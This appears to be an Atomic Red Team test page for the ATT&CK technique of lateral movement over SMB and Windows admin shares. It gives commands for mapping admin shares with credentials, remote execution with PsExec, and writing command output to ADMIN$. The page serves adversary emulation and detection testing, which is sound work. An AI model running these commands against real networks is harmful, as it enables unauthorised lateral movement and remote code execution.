# T1021.002 - Remote Services: SMB/Windows Admin Shares

## Description from ATT&CK

> Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user.
> 
> SMB is a file, printer, and serial port sharing protocol for Windows machines on the same network or domain. Adversaries may use SMB to interact with file shares, allowing them to move laterally throughout a network. Linux and macOS implementations of SMB typically use Samba.
> 
> Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include `C$`, `ADMIN$`, and `IPC$`. Adversaries may use this technique in conjunction with administrator-level [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely access a networked system over SMB,(Citation: Wikipedia Server Message Block) to interact with systems using remote procedure calls (RPCs),(Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Service Execution](https://attack.mitre.org/techniques/T1569/002), and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). Adversaries can also use NTLM hashes to access administrator shares on systems with [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) and certain configuration and patch levels.(Citation: Microsoft Admin Shares)

[Source](https://attack.mitre.org/techniques/T1021/002)

## Atomic Tests

- [Atomic Test #1: Map admin share](#atomic-test-1-map-admin-share)
- [Atomic Test #2: Map Admin Share PowerShell](#atomic-test-2-map-admin-share-powershell)
- [Atomic Test #3: Copy and Execute File with PsExec](#atomic-test-3-copy-and-execute-file-with-psexec)
- [Atomic Test #4: Execute command writing output to local Admin Share](#atomic-test-4-execute-command-writing-output-to-local-admin-share)

### Atomic Test #1: Map admin share

Connecting To Remote Shares

**Supported Platforms:** Windows

**auto_generated_guid:** `3386975b-367a-4fbb-9d77-4dcf3639ffd3`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| user_name | Username | string | DOMAIN&#92;Administrator|
| share_name | Examples C$, IPC$, Admin$ | string | C$|
| password | Password | string | P@ssw0rd1|
| computer_name | Target Computer Name | string | Target|

#### Attack Commands: Run with `command_prompt`!

```cmd
cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
```

### Atomic Test #2: Map Admin Share PowerShell

Map Admin share utilizing PowerShell

**Supported Platforms:** Windows

**auto_generated_guid:** `514e9cd7-9207-4882-98b1-c8f791bae3c5`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| share_name | Examples C$, IPC$, Admin$ | string | C$|
| map_name | Mapped Drive Letter | string | g|
| computer_name | Target Computer Name | string | Target|

#### Attack Commands: Run with `powershell`!

```powershell
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
```

### Atomic Test #3: Copy and Execute File with PsExec

Copies a file to a remote host and executes it using PsExec. Requires the download of PsExec from [https://docs.microsoft.com/en-us/sysinternals/downloads/psexec](https://docs.microsoft.com/en-us/sysinternals/downloads/psexec).

**Supported Platforms:** Windows

**auto_generated_guid:** `0eb03d41-79e4-4393-8e57-6344856be1cf`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| command_path | File to copy and execute | path | C:&#92;Windows&#92;System32&#92;cmd.exe|
| remote_host | Remote computer to receive the copy and execute the file | string | &#92;&#92;localhost|
| psexec_exe | Path to PsExec | string | PathToAtomicsFolder&#92;..&#92;ExternalPayloads&#92;PsExec.exe|

#### Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```cmd
"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}
```


#### Dependencies: Run with `powershell`!

##### Description: PsExec tool from Sysinternals must exist on disk at specified location (#{psexec_exe})

###### Check Prereq Commands

```powershell
if (Test-Path "#{psexec_exe}") { exit 0} else { exit 1}
```

###### Get Prereq Commands

```powershell
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip"
Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" "PathToAtomicsFolder\..\ExternalPayloads\PsTools" -Force
New-Item -ItemType Directory (Split-Path "#{psexec_exe}") -Force | Out-Null
Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\PsTools\PsExec.exe" "#{psexec_exe}" -Force
```

### Atomic Test #4: Execute command writing output to local Admin Share

Executes a command, writing the output to a local Admin Share.
This technique is used by post-exploitation frameworks.

**Supported Platforms:** Windows

**auto_generated_guid:** `d41aaab5-bdfe-431d-a3d5-c29e9136ff46`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| output_file | Remote computer to receive the copy and execute the file | string | output.txt|
| command_to_execute | Command to execute for output. | string | hostname|

#### Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```cmd
cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1
```